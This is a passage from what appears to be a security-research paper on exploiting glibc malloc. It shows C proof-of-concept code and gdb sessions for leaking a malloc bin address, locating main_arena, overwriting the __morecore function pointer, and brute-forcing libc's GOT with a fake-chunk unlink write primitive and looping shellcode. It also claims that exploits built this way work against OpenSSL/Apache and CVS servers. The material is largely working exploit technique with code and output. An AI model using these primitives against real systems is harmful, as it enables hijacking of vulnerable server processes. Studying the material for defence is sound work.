The cushion chunk writes to a valid address to avoid crashing the process, and its backward and forward pointer are set with the bin's address by the frontlink() macro.

Then, the code looks for the wanted addresses within the output, as would do an exploit which received the server answer.

#include <stdio.h>

#define SZ 256

#define SOMEOFFSET 5 + (rand() % (SZ‑1))

#define PREV_INUSE 1

#define IS_MMAP 2

unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long where){ unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long)); int i = 0;

unlinkMe[i++] = ‑4;

unlinkMe[i++] = ‑4;

unlinkMe[i++] = what;

unlinkMe[i++] = where‑8;

for(;i<SZ;i++){

unlinkMe[i] = ((‑(i‑1) * 4) & ~IS_MMAP) | PREV_INUSE ;

}

printf ("(‑) calling free() at random address of output buffer...\n"); free(unlinkMe+SOMEOFFSET);

return unlinkMe;

}

int main(int argc, char **argv){

unsigned long *output;

int i;

printf("## FREEING THE OUTPUT PoC ##\n\n");

printf("(‑) creating output buffer...\n");

output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4);

printf("(‑) looking for bin address...\n"); for(i=0;i<SZ‑1;i++)

if(output[i] == output[i+1] &&

((output[i] & 0xffff0000) != 0xffff0000)) { printf("(!) found bin address ‑> %p\n",output[i]); return 0;

}

printf("(x) did not find bin address\n");

}

./freeOutput

## FREEING THE OUTPUT PoC ##

(‑) creating output buffer...

(‑) calling free() at random address of output buffer...

(‑) looking for bin address...

(!) found bin address ‑> 0x4212b1dc

We get chunk free with our provided buffer:

chunk_free (ar_ptr=0x40018040, p=0x8049ab0) at heapy.c:3221

(gdb) x/20x p

0x8049ab0: 0xfffffd6d 0xfffffd69 0xfffffd65 0xfffffd61 0x8049ac0: 0xfffffd5d 0xfffffd59 0xfffffd55 0xfffffd51 0x8049ad0: 0xfffffd4d 0xfffffd49 0xfffffd45 0xfffffd41 0x8049ae0: 0xfffffd3d 0xfffffd39 0xfffffd35 0xfffffd31 0x8049af0: 0xfffffd2d 0xfffffd29 0xfffffd25 0xfffffd21 (gdb)

0x8049b00: 0xfffffd1d 0xfffffd19 0xfffffd15 0xfffffd11 0x8049b10: 0xfffffd0d 0xfffffd09 0xfffffd05 0xfffffd01 0x8049b20: 0xfffffcfd 0xfffffcf9 0xfffffcf5 0xfffffcf1 0x8049b30: 0xfffffced 0xfffffce9 0xfffffce5 0xfffffce1 0x8049b40: 0xfffffcdd 0xfffffcd9 0xfffffcd5 0xfffffcd1 (gdb)

0x8049b50: 0xfffffccd 0xfffffcc9 0xfffffcc5 0xfffffcc1 0x8049b60: 0xfffffcbd 0xfffffcb9 0xfffffcb5 0xfffffcb1 0x8049b70: 0xfffffcad 0xfffffca9 0xfffffca5 0xfffffca1 0x8049b80: 0xfffffc9d 0xfffffc99 0xfffffc95 0xfffffc91 0x8049b90: 0xfffffc8d 0xfffffc89 0xfffffc85 0xfffffc81 (gdb)

3236 next = chunk_at_offset(p, sz);

3237 nextsz = chunksize(next);

3239 if (next == top(ar_ptr)) /* merge with top */

3278 islr = 0;

3280 if (!(hd & PREV_INUSE)) /* consolidate backward */

3294 if (!(inuse_bit_at_offset(next, nextsz)))

/* consolidate forward */

3296 sz += nextsz;

3298 if (!islr && next‑>fd == last_remainder(ar_ptr))

3306 unlink(next, bck, fwd);

3315 set_head(p, sz | PREV_INUSE);

3316 next‑>prev_size = sz;

3317 if (!islr) {

3318 frontlink(ar_ptr, p, sz, idx, bck, fwd);

After the frontlink() macro is called with our supplied buffer, it gets the address of the bin in which it is inserted:

fronlink(0x8049ab0,‑668,126,0x40018430,0x40018430) new free chunk

(gdb) x/20x p

0x8049ab0: 0xfffffd6d 0xfffffd65 0x40018430 0x40018430 0x8049ac0: 0xfffffd5d 0xfffffd59 0xfffffd55 0xfffffd51 0x8049ad0: 0xfffffd4d 0xfffffd49 0xfffffd45 0xfffffd41 0x8049ae0: 0xfffffd3d 0xfffffd39 0xfffffd35 0xfffffd31 0x8049af0: 0xfffffd2d 0xfffffd29 0xfffffd25 0xfffffd21

(gdb) c

Continuing.

(‑) looking for bin address...

(!) found bin address ‑> 0x40018430

Let's check the address we obtained:

(gdb) x/20x 0x40018430

0x40018430 <main_arena+1008>: 0x40018428 0x40018428 0x08049ab0 0x08049ab0

0x40018440 <main_arena+1024>: 0x40018438 0x40018438 0x40018040 0x000007f0

0x40018450 <main_arena+1040>: 0x00000001 0x00000000 0x00000001 0x0000016a

0x40018460 <__FRAME_END__+12>: 0x0000000c 0x00001238 0x0000000d 0x0000423c

0x40018470 <__FRAME_END__+28>: 0x00000004 0x00000094 0x00000005 0x4001370c

And we see it's one of the last bins of the main_arena.

Although in this example we hit the cushion chunk in the first try on purpose, this technique can be applied to brute force the location of our output buffer also at the same time (if we don't know it beforehand).

‑‑] 4.4.4 Vulnerability based heap memory leak ‑ finding libc's data

In this case, the vulnerability itself leads to leaking process memory. For example, in the OpenSSL 'SSLv2 Malformed Client Key Buffer Overflow' vulnerability [6], the attacker is able to overflow a buffer and overwrite a variable used to track a buffer length.

When this length is overwritten with a length greater than the original, the process sends the content of the buffer (stored in the process' heap) to the client, sending more information than the originally stored. The attacker obtains then a limited portion of the process heap.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑] 4.5 Abusing the leaked information

The goal of the techniques in this section is to exploit the information gathered using one of the process information leak tricks shown before.

‑‑] 4.5.1 Recognizing the arena

The idea is to get from the previously gathered information, the address of a malloc's bin. This applies mainly to scenarios were we are able to leak process heap memory. A bin address can be directly obtained if the attacker is able to use the 'freeing the output' technique.

The obtained bin address can be used later to find the address of a function pointer to overwrite with the address of our shellcode, as shown in the next techniques.

Remembering how the bins are organized in memory (circular

double linked lists), we know that a chunk hanging from any bin containing just one chunk will have both pointers (bk and fd) pointing to the head of the list, to the same address, since the list is circular.

[bin_n] (first chunk)

ptr] ‑‑‑‑> [<‑ chunk ‑>] [<‑ chunk ‑>] [<‑ fd

[ chunk

ptr] ‑‑‑‑> [<‑ chunk ‑>] [<‑ chunk ‑>] [<‑ bk [bin_n+1] (last chunk)

.

.

.

[bin_X]

ptr] ‑‑‑‑> [<‑ fd

[ lonely but interesting chunk

ptr] ‑‑‑‑> [<‑ bk

.

.

This is really nice, as it allows us to recognize within the

heap which address is pointing to a bin, located in libc's space address more exactly, to some place in the main_arena as this head of the bin list is located in the main_arena.

Then, we can look for two equal memory addresses, one next to the other, pointing to libc's memory (looking for addresses of

the form 0x4....... is enough for our purpose). We can suppose these pairs of addresses we found are part of a free chunk which is the only one hanging of a bin, we know it looks like...

size | fd | bk

How easy is to find a lonely chunk in the heap immensity?

First, this depends on the exploitation scenario and the exploited process heap layout. For example, when exploiting the OpenSSL bug along different targets, we could always find at least a lonely chunk within the leaked heap memory.

Second, there is another scenario in which we will be able to locate a malloc bin, even without the capability to find a lonely chunk. If we are able to find the first or last chunk of a bin, one of its pointers will reference an address within main_arena, while the other one will point to another free chunk in the process heap. So, we'll be looking for pairs of valid pointers like these:

[ ptr_2_libc's_memory | ptr_2_process'_heap ]

or

[ ptr_2_process'_heap | ptr_2_libc's_memory ]

We must take into account that this heuristic will not be as accurate as searching for a pair of equal pointers to libc's space address, but as we already said, it's possible to cross‑check between multiple possible chunks.

Finally, we must remember this depends totally on the way we are abusing the process to read its memory. In case we can read arbitrary addresses of memory, this is not an issue, the problem gets harder as more limited is our mechanism to retrieve remote memory.

‑‑] 4.5.2 Morecore

Here, we show how to find a function pointer within the libc after obtaining a malloc bin address, using one of the before explained mechanisms.

Using the size field of the retrieved chunk header and the bin_index() or smallbin_index() macro we obtain the exact address of the main_arena. We can cross check between multiple supposed lonely chunks that the main_arena address we obtained is the real one, depending on the quantity of lonely chunks pairs we'll be more sure. As long as the process doesn't crash, we may retrieve heap memory several times, as main_arena won't change its location. Moreover, I think it wouldn't be wrong to assume main_arena is located in the same address across different processes (this depends on the address on which the libc is mapped). This may even be true across different servers processes, allowing us to retrieve the main_arena through a leak in a process different from the one being actively exploited.

Just 32 bytes before &main_arena[0] is located __morecore.

Void_t *(*__morecore)() = __default_morecore;

MORECORE() is the name of the function that is called through malloc code in order to obtain more memory from the operating system, it defaults to sbrk().

Void_t * __default_morecore ();

Void_t *(*__morecore)() = __default_morecore;

#define MORECORE (*__morecore)

The following disassembly shows how MORECORE is called from chunk_alloc() code, an indirect call to __default_morecore is performed by default:

<chunk_alloc+1468>: mov 0x64c(%ebx),%eax

<chunk_alloc+1474>: sub $0xc,%esp

<chunk_alloc+1477>: push %esi

<chunk_alloc+1478>: call *(%eax)

where $eax points to __default_morecore

(gdb) x/x $eax

0x4212df80 <__morecore>: 0x4207e034

(gdb) x/4i 0x4207e034

0x4207e034 <__default_morecore>: push %ebp

0x4207e035 <__default_morecore+1>: mov %esp,%ebp

0x4207e037 <__default_morecore+3>: push %ebx

0x4207e038 <__default_morecore+4>: sub $0x10,%esp

MORECORE() is called from the malloc() algorithm to extend the memory top, requesting the operating system via the sbrk.

MORECORE() gets called twice from malloc_extend_top()

brk = (char*)(MORECORE (sbrk_size));

...

/* Allocate correction */

new_brk = (char*)(MORECORE (correction));

which is called by chunk_alloc():

/* Try to extend */

malloc_extend_top(ar_ptr, nb);

Also, MORECORE is called by main_trim() and top_chunk().

We just need to sit and wait until the code reaches any of these points. In some cases it may be necessary to arrange things in order to avoid the code crashing before.

The morecore function pointer is called each time the heap needs to be extended, so forcing the process to allocate a lot of memory is recommended after overwriting the pointer.

In case we are not able to avoid a crash before taking control of the process, there's no problem (unless the server dies completely), as we can expect the libc to be mapped in the same address in most cases.

‑‑] 4.5.2.1 Proof of concept 5 : Jumping with morecore

The following code just shows to get the required information from a freed chunk, calculates the address of __morecore and forces a call to MORECORE() after having overwritten it.

[jp@vaiolator heapy]$ ./heapy

(‑) lonely chunk was freed, gathering information...

(!) sz = 520 ‑ bk = 0x4212E1A0 ‑ fd = 0x4212E1A0

(!) the chunk is in bin number 64

(!) &main_arena[0] @ 0x4212DFA0

(!) __morecore @ 0x4212DF80

(‑) overwriting __morecore...

(‑) forcing a call to MORECORE()...

Segmentation fault

Let's look what happened with gdb, we'll also be using a simple modified malloc in the form of a shared library to know what is going on inside malloc's internal structures.

[jp@vaiolator heapy]$ gdb heapy

GNU gdb Red Hat Linux (5.2‑2)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386‑redhat‑linux"...

(gdb) r

Starting program: /home/jp/cerebro//heapy/morecore

(‑) lonely chunk was freed, gathering information...

(!) sz = 520 ‑ bk = 0x4212E1A0 ‑ fd = 0x4212E1A0

(!) the chunk is in bin number 64

(!) &main_arena[0] @ 0x4212DFA0

(!) __morecore @ 0x4212DF80

(‑) overwriting __morecore...

(‑) forcing a call to MORECORE()...

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

Taking a look at the output step by step:

First we alloc our lonely chunk:

chunk = (unsigned int*)malloc(CHUNK_SIZE);

(gdb) x/8x chunk‑1

0x80499d4: 0x00000209 0x00000000 0x00000000 0x00000000 0x80499e4: 0x00000000 0x00000000 0x00000000 0x00000000

Note we call malloc() again with another pointer, letting this aux pointer be the chunk next to the top_chunk... to avoid the differences in the way it is handled when freed with our purposes (remember in this special case the chunk would be coalesced with the top_chunk without getting linked to any bin):

aux = (unsigned int*)malloc(0x0);

[1422] MALLOC(512) ‑ CHUNK_ALLOC(0x40019bc0,520)

‑ returning 0x8049a18 from top_chunk

‑ new top 0x8049c20 size 993

[1422] MALLOC(0) ‑ CHUNK_ALLOC(0x40019bc0,16)

‑ returning 0x8049c20 from top_chunk

‑ new top 0x8049c30 size 977

This is the way the heap looks like up to now...

‑‑‑ HEAP DUMP ‑‑‑

ADDRESS SIZE FLAGS

sbrk_base 0x80499f8

chunk 0x80499f8 33(0x21) (inuse)

chunk 0x8049a18 521(0x209) (inuse)

chunk 0x8049c20 17(0x11) (inuse)

chunk 0x8049c30 977(0x3d1) (top)

sbrk_end 0x804a000

‑‑‑ HEAP LAYOUT ‑‑‑

|A||A||A||T|

‑‑‑ BIN DUMP ‑‑‑

ar_ptr = 0x40019bc0 ‑ top(ar_ptr) = 0x8049c30

No bins at all exist now, they are completely empty.

After that we free him:

free(chunk);

[1422] FREE(0x8049a20) ‑ CHUNK_FREE(0x40019bc0,0x8049a18)

‑ fronlink(0x8049a18,520,64,0x40019dc0,0x40019dc0)

‑ new free chunk

(gdb) x/8x chunk‑1

0x80499d4: 0x00000209 0x4212e1a0 0x4212e1a0 0x00000000 0x80499e4: 0x00000000 0x00000000 0x00000000 0x00000000

The chunk was freed and inserted into some bin... which was empty as this was the first chunk freed. So this is a 'lonely chunk', the only chunk in one bin.

Here we can see both bk and fd pointing to the same address in libc's memory, let's see how the main_arena looks like now:

0x4212dfa0 <main_arena>: 0x00000000 0x00010000 0x08049be8 0x4212dfa0 0x4212dfb0 <main_arena+16>: 0x4212dfa8 0x4212dfa8 0x4212dfb0 0x4212dfb0 0x4212dfc0 <main_arena+32>: 0x4212dfb8 0x4212dfb8 0x4212dfc0 0x4212dfc0 0x4212dfd0 <main_arena+48>: 0x4212dfc8 0x4212dfc8 0x4212dfd0 0x4212dfd0 0x4212dfe0 <main_arena+64>: 0x4212dfd8 0x4212dfd8 0x4212dfe0 0x4212dfe0 0x4212dff0 <main_arena+80>: 0x4212dfe8 0x4212dfe8 0x4212dff0 0x4212dff0 0x4212e000 <main_arena+96>: 0x4212dff8 0x4212dff8 0x4212e000 0x4212e000 0x4212e010 <main_arena+112>: 0x4212e008 0x4212e008 0x4212e010 0x4212e010 0x4212e020 <main_arena+128>: 0x4212e018 0x4212e018 0x4212e020 0x4212e020 0x4212e030 <main_arena+144>: 0x4212e028 0x4212e028 0x4212e030 0x4212e030 ...

...

0x4212e180 <main_arena+480>: 0x4212e178 0x4212e178 0x4212e180 0x4212e180 0x4212e190 <main_arena+496>: 0x4212e188 0x4212e188 0x4212e190 0x4212e190 0x4212e1a0 <main_arena+512>: 0x4212e198 0x4212e198 0x080499d0 0x080499d0 0x4212e1b0 <main_arena+528>: 0x4212e1a8 0x4212e1a8 0x4212e1b0 0x4212e1b0 0x4212e1c0 <main_arena+544>: 0x4212e1b8 0x4212e1b8 0x4212e1c0 0x4212e1c0

Note the completely just initialized main_arena with all its bins pointing to themselves, and the just added free chunk to one of the bins...

(gdb) x/4x 0x4212e1a0

0x4212e1a0 <main_arena+512>: 0x4212e198 0x4212e198 0x080499d0 0x080499d0

Also, both bin pointers refer to our lonely chunk.

Let's take a look at the heap in this moment:

‑‑‑ HEAP DUMP ‑‑‑

ADDRESS SIZE FLAGS

sbrk_base 0x80499f8

chunk 0x80499f8 33(0x21) (inuse)

chunk 0x8049a18 521(0x209) (free) fd = 0x40019dc0 | bk = 0x40019dc0 chunk 0x8049c20 16(0x10) (inuse)

chunk 0x8049c30 977(0x3d1) (top)

sbrk end 0x804a000

‑‑‑ HEAP LAYOUT ‑‑‑

|A||64||A||T|

‑‑‑ BIN DUMP ‑‑‑

ar_ptr = 0x40019bc0 ‑ top(ar_ptr) = 0x8049c30

bin ‑> 64 (0x40019dc0)

free_chunk 0x8049a18 ‑ size 520

Using the known size of the chunk, we know in which bin it was placed, so we can get main_arena's address and, finally, __morecore.

(gdb) x/16x 0x4212dfa0‑0x20

0x4212df80 <__morecore>: 0x4207e034 0x00000000 0x00000000 0x00000000 0x4212df90 <__morecore+16>: 0x00000000 0x00000000 0x00000000 0x00000000 0x4212dfa0 <main_arena>: 0x00000000 0x00010000 0x08049be8 0x4212dfa0 0x4212dfb0 <main_arena+16>: 0x4212dfa8 0x4212dfa8 0x4212dfb0 0x4212dfb0

Here, by default __morecore points to __default_morecore:

(gdb) x/20i __morecore

0x4207e034 <__default_morecore>: push %ebp

0x4207e035 <__default_morecore+1>: mov %esp,%ebp

0x4207e037 <__default_morecore+3>: push %ebx

0x4207e038 <__default_morecore+4>: sub $0x10,%esp

0x4207e03b <__default_morecore+7>: call 0x4207e030 <memalign_hook_ini+64> 0x4207e040 <__default_morecore+12>: add $0xb22cc,%ebx 0x4207e046 <__default_morecore+18>: mov 0x8(%ebp),%eax 0x4207e049 <__default_morecore+21>: push %eax

0x4207e04a <__default_morecore+22>: call 0x4201722c <_r_debug+33569648> 0x4207e04f <__default_morecore+27>: mov 0xfffffffc(%ebp),%ebx 0x4207e052 <__default_morecore+30>: mov %eax,%edx

0x4207e054 <__default_morecore+32>: add $0x10,%esp

0x4207e057 <__default_morecore+35>: xor %eax,%eax

0x4207e059 <__default_morecore+37>: cmp $0xffffffff,%edx 0x4207e05c <__default_morecore+40>: cmovne %edx,%eax

0x4207e05f <__default_morecore+43>: mov %ebp,%esp

0x4207e061 <__default_morecore+45>: pop %ebp

0x4207e062 <__default_morecore+46>: ret

0x4207e063 <__default_morecore+47>: lea 0x0(%esi),%esi 0x4207e069 <__default_morecore+53>: lea 0x0(%edi,1),%edi

To conclude, we overwrite __morecore with a bogus address, and force malloc to call __morecore:

*(unsigned int*)morecore = 0x41414141;

chunk=(unsigned int*)malloc(CHUNK_SIZE*4);

[1422] MALLOC(2048) ‑ CHUNK_ALLOC(0x40019bc0,2056)

‑ extending top chunk

‑ previous size 976

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) bt

#0 0x41414141 in ?? ()

#1 0x4207a148 in malloc () from /lib/i686/libc.so.6

#2 0x0804869d in main (argc=1, argv=0xbffffad4) at heapy.c:52

#3 0x42017589 in __libc_start_main () from /lib/i686/libc.so.6

(gdb) frame 1

#1 0x4207a148 in malloc () from /lib/i686/libc.so.6

(gdb) x/i $pc‑0x5

0x4207a143 <malloc+195>: call 0x4207a2f0 <chunk_alloc>

(gdb) disass chunk_alloc

Dump of assembler code for function chunk_alloc:

...

0x4207a8ac <chunk_alloc+1468>: mov 0x64c(%ebx),%eax 0x4207a8b2 <chunk_alloc+1474>: sub $0xc,%esp

0x4207a8b5 <chunk_alloc+1477>: push %esi

0x4207a8b6 <chunk_alloc+1478>: call *(%eax)

At this point we see chunk_alloc trying to jump to __morecore

(gdb) x/x $eax

0x4212df80 <__morecore>: 0x41414141

#include <stdio.h>

#include <stdlib.h>

/* some malloc code... */

#define MAX_SMALLBIN 63

#define MAX_SMALLBIN_SIZE 512

#define SMALLBIN_WIDTH 8

#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE ‑ SMALLBIN_WIDTH) #define smallbin_index(sz) (((unsigned long)(sz)) >> 3)

#define bin_index(sz) \

(((((unsigned long)(sz)) >> 9) == 0) ? (((unsigned long)(sz)) >> 3):\ ((((unsigned long)(sz)) >> 9) <= 4) ? 56 + (((unsigned long)(sz)) >> 6):\ ((((unsigned long)(sz)) >> 9) <= 20) ? 91 + (((unsigned long)(sz)) >> 9):\ ((((unsigned long)(sz)) >> 9) <= 84) ? 110 + (((unsigned long)(sz)) >> 12):\ ((((unsigned long)(sz)) >> 9) <= 340) ? 119 + (((unsigned long)(sz)) >> 15):\ ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\

126)

#define SIZE_MASK 0x3

#define CHUNK_SIZE 0x200

int main(int argc, char *argv[]){

unsigned int *chunk,*aux,sz,bk,fd,bin,arena,morecore; chunk = (unsigned int*)malloc(CHUNK_SIZE);

aux = (unsigned int*)malloc(0x0);

free(chunk);

printf("(‑) lonely chunk was freed, gathering information...\n");

sz = chunk[‑1] & ~SIZE_MASK;

fd = chunk[0];

bk = chunk[1];

if(bk==fd) printf("\t(!) sz = %u ‑ bk = 0x%X ‑ fd = 0x%X\n",sz,bk,fd); else printf("\t(X) bk != fd ...\n"),exit(‑1);

bin = is_small_request(sz)? smallbin_index(sz) : bin_index(sz); printf("\t(!) the chunk is in bin number %d\n",bin);

arena = bk‑bin*2*sizeof(void*);

printf("\t(!) &main_arena[0] @ 0x%X\n",arena);

morecore = arena‑32;

printf("\t(!) __morecore @ 0x%X\n",morecore);

printf("(‑) overwriting __morecore...\n"); *(unsigned int*)morecore = 0x41414141;

printf("(‑) forcing a call to MORECORE()...\n"); chunk=(unsigned int*)malloc(CHUNK_SIZE*4);

return 7;

}

This technique works even when the process is loaded in a randomized address space, as the address of the function pointer is gathered in runtime from the targeted process. The mechanism is fully generic, as every process linked to the glibc can be exploited this way.

Also, no bruteforcing is needed, as just one try is enough to exploit the process.

On the other hand, this technique is not longer useful in newer libcs, i.e. 2.2.93, a for the changed suffered by malloc code. A new approach is suggested later to help in exploitation of these libc versions. Morecore idea was successfully tested on different glibc versions and Linux distributions default installs: Debian 2.2r0, Mandrake 8.1, Mandrake 8.2, Redhat 6.1, Redhat 6.2, Redhat 7.0, Redhat 7.2, Redhat 7.3 and Slackware 2.2.19 (libc‑2.2.3.so).

Exploit code using this trick is able to exploit the vulnerable OpenSSL/Apache servers without any hardcoded addresses in at least the above mentioned default distributions.

‑‑] 4.5.3 Libc's GOT bruteforcing

In case the morecore trick doesn't work (we can try, as just requires one try), meaning probably that our target is using a newer libc, we still have the obtained glibc's bin address. We know that above that address is going to be located the glibc's GOT.

We just need to bruteforce upwards until hitting any entry of a going to be called libc function. This bruteforce mechanism may take a while, but not more time that should be needed to bruteforce the main object's GOT (in case we obtained its aproximate location some way).

To speed up the process, the bruteforcing start point should be obtained by adjusting the retrieved bin address with a fixed value. This value should be enough to avoid corrupting the arena to prevent crashing the process. Also, the bruteforcing can be performed using a step size bigger than one. Using a higher step value will need a less tries, but may miss the GOT. The step size should be calculated considering the GOT size and the number of GOT entries accesses between each try (if a higher number of GOT entries are used, it's higher the probability of modifying an entry that's going to be accessed).

After each try, it is important to force the server to perform as many actions as possible, in order to make it call lots of different libc calls so the probability of using the GOT entry that was overwritten is higher.

Note the bruteforcing mechanism may crash the process in several ways, as it is corrupting libc data.

As we obtained the address in runtime, we can be sure we are bruteforcing the right place, even if the target is randomizing the process/lib address space, and that we will end hitting some GOT entry.

In a randomized load address scenario, we'll need to hit a GOT entry before the process crashes to exploit the obtained bin address if there is no relationship between the load addresses in the crashed process (the one we obtained the bin address from) and the new process handling our new requests (i.e. forked processes may inherit father's memory layout in some randomization implementations). However, the bruteforcing mechanism can take into account the already tried offsets once it has obtained the new bin address, as the relative offset between the bin and the GOT is constant.

Moreover, this technique applies to any process linked to the glibc. Note that we could be able to exploit a server bruteforcing some specific function pointers (i.e. located in some structures such as network output buffers), but these approach is more generic.

The libc's GOT bruteforcing idea was successfully tested in Redhat 8.0, Redhat 7.2 and Redhat 7.1 default installations.

Exploit code bruteforcing libc's GOT is able to exploit the vulnerable CVS servers without any hardcoded addresses in at least the above mentioned default distributions.

‑‑] 4.5.3.1 Proof of concept 6 : Hinted libc's GOT bruteforcing

The following code bruteforces itself. The process tries to find himself, to finally end in an useless endless loop.

#include <stdio.h>

#include <fcntl.h>

#define ADJUST 0x200

#define STEP 0x2

#define LOOP_SC "\xeb\xfe"

#define LOOP_SZ 2

#define SC_SZ 512

#define OUTPUT_SZ 64 * 1024

#define SOMEOFFSET(x) 11 + (rand() % ((x)‑1‑11))

#define SOMECHUNKSZ 32 + (rand() % 512)

#define PREV_INUSE 1

#define IS_MMAP 2

#define NON_MAIN_ARENA 4

unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long

where,unsigned long sz){

unsigned long *unlinkMe;

int i=0;

if(sz<13) sz = 13;

unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long)); unlinkMe[i++] = ‑4;

unlinkMe[i++] = ‑4;

unlinkMe[i++] = ‑4;

unlinkMe[i++] = what;

unlinkMe[i++] = where‑8;

unlinkMe[i++] = ‑4;

unlinkMe[i++] = ‑4;

unlinkMe[i++] = ‑4;

unlinkMe[i++] = what;

unlinkMe[i++] = where‑8;

for(;i<sz;i++)

if(i%2)

unlinkMe[i] = ((‑(i‑8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE; else

unlinkMe[i] = ((‑(i‑3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;

free(unlinkMe+SOMEOFFSET(sz));

return unlinkMe;

}

/* just force some libc function calls between each bruteforcing iteration */

void do_little(void){

int w,r;

char buf[256];

sleep(0);

w = open("/dev/null",O_WRONLY);

r = open("/dev/urandom",O_RDONLY);

read(r,buf,sizeof(buf));

write(w,buf,sizeof(buf));

close(r);

close(w);

return;

}

int main(int argc, char **argv){

unsigned long *output,*bin=0;

unsigned long i=0,sz;

char *sc,*p;

unsigned long *start=0;

printf("\n## HINTED LIBC GOT BRUTEFORCING PoC ##\n\n");

sc = (char*) malloc(SC_SZ * LOOP_SZ);

printf("(‑) %d bytes shellcode @ %p\n",SC_SZ,sc);

p = sc;

for(p=sc;p+LOOP_SZ<sc+SC_SZ;p+=LOOP_SZ) memcpy(p,LOOP_SC,LOOP_SZ);

printf("(‑) forcing bin address disclosure... ");

output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4,OUTPUT_SZ); for(i=0;i<OUTPUT_SZ‑1;i++)

if(output[i] == output[i+1] &&

((output[i] & 0xffff0000) != 0xffff0000) ) { bin = (unsigned long*)output[i]; printf("%p\n",bin);

start = bin ‑ ADJUST;

}

if(!bin){

printf("failed\n");

return 0;

}

if(argv[1]) i = strtoll(argv[1], (char **)NULL,0);

else i = 0;

printf("(‑) starting libc GOT bruteforcing @ %p\n",start); for(;;i++){

sz = SOMECHUNKSZ;

printf(" try #%.2d writing %p at %p using %6d bytes chunk\n", i,sc,start‑(i*STEP),s*sizeof(unsigned long)); aa4bmoPrimitive((unsigned long)sc,(unsigned long)(start‑(i*STEP)),sz); do_little();

}

printf("I'm not here, this is not happening\n");

}

Let's see what happens:

$ ./got_bf

## HINTED LIBC GOT BRUTEFORCING PoC ##

(‑) 512 bytes shellcode @ 0x8049cb0

(‑) forcing bin address disclosure... 0x4212b1dc

(‑) starting libc GOT bruteforcing @ 0x4212a9dc

try #00 writing 0x8049cb0 at 0x4212a9dc using 1944 bytes chunk try #01 writing 0x8049cb0 at 0x4212a9d4 using 588 bytes chunk try #02 writing 0x8049cb0 at 0x4212a9cc using 1148 bytes chunk try #03 writing 0x8049cb0 at 0x4212a9c4 using 1072 bytes chunk try #04 writing 0x8049cb0 at 0x4212a9bc using 948 bytes chunk try #05 writing 0x8049cb0 at 0x4212a9b4 using 1836 bytes chunk ...

try #140 writing 0x8049cb0 at 0x4212a57c using 1416 bytes chunk try #141 writing 0x8049cb0 at 0x4212a574 using 152 bytes chunk try #142 writing 0x8049cb0 at 0x4212a56c using 332 bytes chunk Segmentation fault

We obtained 142 consecutive tries without crashing using random sized chunks. We run our code again, starting from try number 143 this time, note the program gets the base bruteforcing address again.

$ ./got_bf 143

## HINTED LIBC GOT BRUTEFORCING PoC ##

(‑) 512 bytes shellcode @ 0x8049cb0

(‑) forcing bin address disclosure... 0x4212b1dc

(‑) starting libc GOT bruteforcing @ 0x4212a9dc

try #143 writing 0x8049cb0 at 0x4212a564 using 1944 bytes chunk try #144 writing 0x8049cb0 at 0x4212a55c using 588 bytes chunk try #145 writing 0x8049cb0 at 0x4212a554 using 1148 bytes chunk try #146 writing 0x8049cb0 at 0x4212a54c using 1072 bytes chunk try #147 writing 0x8049cb0 at 0x4212a544 using 948 bytes chunk try #148 writing 0x8049cb0 at 0x4212a53c using 1836 bytes chunk try #149 writing 0x8049cb0 at 0x4212a534 using 1132 bytes chunk try #150 writing 0x8049cb0 at 0x4212a52c using 1432 bytes chunk try #151 writing 0x8049cb0 at 0x4212a524 using 904 bytes chunk try #152 writing 0x8049cb0 at 0x4212a51c using 2144 bytes chunk try #153 writing 0x8049cb0 at 0x4212a514 using 2080 bytes chunk Segmentation fault

It crashed much faster... probably we corrupted some libc data, or we have reached the GOT...

$ ./got_bf 154

## HINTED LIBC GOT BRUTEFORCING PoC ##

(‑) 512 bytes shellcode @ 0x8049cb0

(‑) forcing bin address disclosure... 0x4212b1dc

(‑) starting libc GOT bruteforcing @ 0x4212a9dc

try #154 writing 0x8049cb0 at 0x4212a50c using 1944 bytes chunk Segmentation fault

$ ./got_bf 155

## HINTED LIBC GOT BRUTEFORCING PoC ##

(‑) 512 bytes shellcode @ 0x8049cb0

(‑) forcing bin address disclosure... 0x4212b1dc

(‑) starting libc GOT bruteforcing @ 0x4212a9dc

try #155 writing 0x8049cb0 at 0x4212a504 using 1944 bytes chunk try #156 writing 0x8049cb0 at 0x4212a4fc using 588 bytes chunk try #157 writing 0x8049cb0 at 0x4212a4f4 using 1148 bytes chunk Segmentation fault

$ ./got_bf 158

## HINTED LIBC GOT BRUTEFORCING PoC ##

(‑) 512 bytes shellcode @ 0x8049cb0

(‑) forcing bin address disclosure... 0x4212b1dc

(‑) starting libc GOT bruteforcing @ 0x4212a9dc

try #158 writing 0x8049cb0 at 0x4212a4ec using 1944 bytes chunk ...

try #179 writing 0x8049cb0 at 0x4212a444 using 1244 bytes chunk Segmentation fault

$ ./got_bf 180

## HINTED LIBC GOT BRUTEFORCING PoC ##

(‑) 512 bytes shellcode @ 0x8049cb0

(‑) forcing bin address disclosure... 0x4212b1dc

(‑) starting libc GOT bruteforcing @ 0x4212a9dc

try #180 writing 0x8049cb0 at 0x4212a43c using 1944 bytes chunk try #181 writing 0x8049cb0 at 0x4212a434 using 588 bytes chunk try #182 writing 0x8049cb0 at 0x4212a42c using 1148 bytes chunk try #183 writing 0x8049cb0 at 0x4212a424 using 1072 bytes chunk Segmentation fault

$ ./got_bf 183

## HINTED LIBC GOT BRUTEFORCING PoC ##

